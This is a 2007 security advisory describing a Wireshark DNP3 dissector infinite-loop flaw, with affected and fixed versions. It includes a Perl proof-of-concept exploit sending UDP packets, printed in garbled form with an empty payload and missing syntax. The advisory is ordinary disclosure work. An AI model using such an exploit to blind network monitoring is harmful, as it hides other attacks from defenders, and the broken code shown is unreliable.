Wireshark DNP3 Dissector Infinite Loop Vulnerability Sep 04 2007 01:55PM
Aviram Jenik (aviram beyondsecurity com)
A vulnerability in Wireshark's DNP3 dissector allows attackers to cause it
to enter an infinite loop which in turn can be used to mask other types of
attacks from being captured by Wireshark.


Vulnerable Systems:
* Wireshark version 0.99.5 and prior

Immune Systems:
* Wireshark version 0.99.6 and newer

A vulnerability in the way Wireshark handles DNP3 data allows an attacker
to fool the dissector into thinking a negative value of items has been
provided to it as part of the Application Layer's request to read/write
objects. This in turn causes the loop found in the code:
for (temp16 = 0; temp16 < num_items; temp16++)

To enter into an infinite loop as the temp16 parameter is defined as an
unsigned int of a length of 16 bits while the num_items is defined as an
unsigned int of a length of 32 bits - which in turn means than a negative
value will be casted into a larger than 16 bits value - as the temp16 will
not be able to reach the value stored in the num_items parameter.

Proof of Concept:
The vulnerability can be recreated by either using
beSTORM (http://www.beyondsecurity.com/bestorm_overview.html) with the
DNP3 protocol fuzzer and monitoring the traffic generated with Wireshark
or by launching the following exploit code:
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = '';
my $port = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
Data =>
{Command => 'Receive'},


# End user configurable part

#1. Create a new connection
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

binmode $sock;

#2. communication part

foreach my $command (@commands)
if ($command->{'Command'} eq 'Receive')
my $buf = receive($sock, $timeout);
if (length $buf)
print "received: [$buf]\n";
elsif ($command->{'Command'} eq 'Send')
print "sending: [".$command->{'Data'}."]\n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason:

#3. Close connection
close ($sock);

#The end

sub receive
my $sock = shift;
my $timeout = shift;

my $tmpbuf;
my $buf = "";

{ # Example from perldoc -f alarm
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm $timeout;

my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
if ( !defined $ret or $ret == 0 )
{ #EOF
die "timeout\n";

alarm 0;
$buf .= $tmpbuf;
if ($@) { #time out
if($@ eq "timeout\n")
else {
die "receive aborted\n";
} #while
return $buf;

sub abort
print "aborting...\n";
if ($sock)
close $sock;
die "User aborted operation\n";
sub usage
print "usage: $0 [-hHPt]\n";
print "-h\t: this help message\n";
print "-H\t: override default host - $host\n";
print "-P\t: override default port - $port\n";
print "-t\t: set socket timeout in seconds\n";
exit 0;


The information has been provided by beSTORM.
More information can be found at:

Aviram Jenik
Beyond Security


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